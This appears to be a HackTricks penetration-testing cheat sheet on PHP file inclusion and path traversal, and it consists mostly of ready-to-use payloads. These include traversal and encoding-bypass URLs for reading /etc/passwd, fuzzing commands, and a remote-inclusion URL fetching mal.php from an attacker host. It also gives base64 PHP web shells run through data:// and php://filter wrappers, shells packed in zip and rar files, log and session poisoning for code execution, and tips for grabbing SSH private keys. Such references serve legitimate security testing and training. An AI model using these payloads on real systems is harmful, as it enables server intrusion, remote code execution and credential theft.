File Inclusion/Path traversal
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Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable PHP functions: require, require_once, include, include_once
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Mixing several *nix LFI lists and adding more paths I have created this one:
Try also to change
/ for \
Try also to add ../../../../../A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Merging several lists I have created:
Try also to change
/ for \
Try also to remove C:/ and add ../../../../../A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
Check the LFI list of linux.
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
This is solved since PHP 5.4
You could use non-standard encondings like double URL encode (and others):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Maybe the back-end is checking the folder path:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Depending on the applicative code / allowed characters, it might be possible to recursively explore the file system by discovering folders and not just files. In order to do so:
- identify the "depth" of you current directory by succesfully retrieving
/etc/passwd(if on Linux):
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- try and guess the name of a folder in the current directory by adding the folder name (here,
private), and then going back to/etc/passwd:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
- if the application is vulnerable, there might be two different outcomes to the request:
- if you get an error / no output, the
privatefolder does not exist at this location - if you get the content from
/etc/passwd, you validated that there is indeed aprivatefolder in your current directory
- the folder(s) you discovered using this techniques can then be fuzzed for files (using a classic LFI method) or for subdirectories using the same technique recursively.
It is possible to adapt this technique to find directories at any location in the file system. For instance, if, under the same hypothesis (current directory at depth 3 of the file system) you want to check if
/var/www/ contains a private directory, use the following payload:http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
The following sequence of commands allows the generation of payloads using
sed (1) as input for url fuzzing tools such as ffuf (2):$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
Of course, adapt there payloads to your needs in terms of depth / location / input directory list.
Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Always try to start the path with a fake directory (a/).
This vulnerability was corrected in PHP 5.3.
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
In php this is disable by default because
allow_url_include is Off. It must be On for it to work, and in that case you could include a PHP file from your server and get RCE:http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
If for some reason
allow_url_include is On, but PHP is filtering access to external webpages, according to this post, you could use for example the data protocol with base64 to decode a b64 PHP code and egt RCE:PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
In the previous code, the final
+.txt was added because the attacker needed a string that ended in .txt, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).Another example not using the
php:// protocol would be:data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
In python in a code like this one:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
If the user passes an absolute path to
file_name, the previous path is just removed:os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
It looks like if you have a Path Traversal in Java and you ask for a directory instead of a file, a listing of the directory is returned. This won't be happening in other languages (afaik).
Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
PHP filters allow perform basic modification operations on the data before being it's read or written. There are 5 categories of filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Remove tags from the data (everything between "<" and ">" chars)- Note that this filter has disappear from the modern versions of PHP
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console:iconv -l
Abusing the
convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.zlib.deflate: Compress the content (useful if exfiltrating a lot of info)zlib.inflate: Decompress the data
mcrypt.*: Deprecatedmdecrypt.*: Deprecated
- Other Filters
- Running in php
var_dump(stream_get_filters());you can find a couple of unexpected filters:consumeddechunk: reverses HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
The part "php://filter" is case insensitive
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1 and 2 respectively (not sure how this could be useful in an attack)
Upload a Zip or Rar file with a PHPShell inside and access it.
In order to be able to abuse the rar protocol it need to be specifically activated.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with :
http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+Note that this protocol is restricted by php configurations
allow_url_open and allow_url_includeExpect has to be activated. You can execute code using this.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Specify your payload in the POST parameters
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
A
.phar file can be also used to execute PHP code if the web is using some function like include to load the file.create_phar.php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
And you can compile the
phar executing the following line:php --define phar.readonly=0 create_path.php
A file called
test.phar will be generated that you can use to abuse the LFI.If the LFI is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.
For more information read the following post:
- php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.
A payload like this:
' and die(show_source('/etc/passwd')) or '
will successfully exploit PHP code for a "file" parameter that looks like this:
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
It's also possible to get RCE in a vulnerable "assert" statement using the system() function:
' and die(system("whoami")) or '
Be sure to URL-encode payloads before you send them.
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This technique is relevant in cases where you control the file path of a PHP function that will access a file but you won't see the content of the file (like a simple call to
file()) but the content is not shown.In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error.
Then, in order to leak the first char the filter
dechunk is used along with other such as base64 or rot13 and finally the filters convert.iconv.UCS-4.UCS-4LE and convert.iconv.UTF16.UTF-16BE are used to place other chars at the beggining and leak them.Functions that might be vulnerable:
file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputsFor the technical details check the mentioned post!
If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to
/var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that fileNote that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won't have a second opportunity.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Send a mail to a internal account (user@localhost) containing your PHP payload like
<?php echo system($_REQUEST["cmd"]); ?> and try to include to the mail of the user with a path like /var/mail/<USERNAME> or /var/spool/mail/<USERNAME>- 1.Upload a lot of shells (for example : 100)
- 2.Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
If you can upload a file, just inject the shell payload in it (e.g :
<?php system($_GET['c']); ?> ).http://example.com/index.php?page=path/to/uploaded/file.png
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
Upload a ZIP file containing a PHP shell compressed and access:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Check if the website use PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
In PHP these sessions are stored into /var/lib/php5/sess\[PHPSESSID]_ files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Set the cookie to
<?php system('cat /etc/passwd');?>login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa
The logs of this FTP server are stored in /var/log/vsftpd.log. If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
as shown in this article,PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
Upload a file that will be stored as temporary in
/tmp, then in the same request, trigger a segmentation fault, and then the temporary file won't be deleted and you can search for it.If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:
If you found a Local File Inclusion even if you don't have a session and
session.auto_start is Off. If you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:If you found a Local File Inclusion and and the server is running in Windows you might get RCE:
If you found a Local File Inclusion and a file exposing phpinfo() with file_uploads = on you can get RCE:
If you found a Local File Inclusion and you can exfiltrate the path of the temp file BUT the server is checking if the file to be included has PHP marks, you can try to bypass that check with this Race Condition:
If you can abuse the LFI to upload temporary files and make the server hang the PHP execution, you could then brute force filenames during hours to find the temporary file:
If you include any of the files
/usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (You need to include the same one 2 time to throw that error).I don't know how is this useful but it might be.
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.
EN-Local-File-Inclusion-1.pdf
125KB
PDF
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- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 1mo ago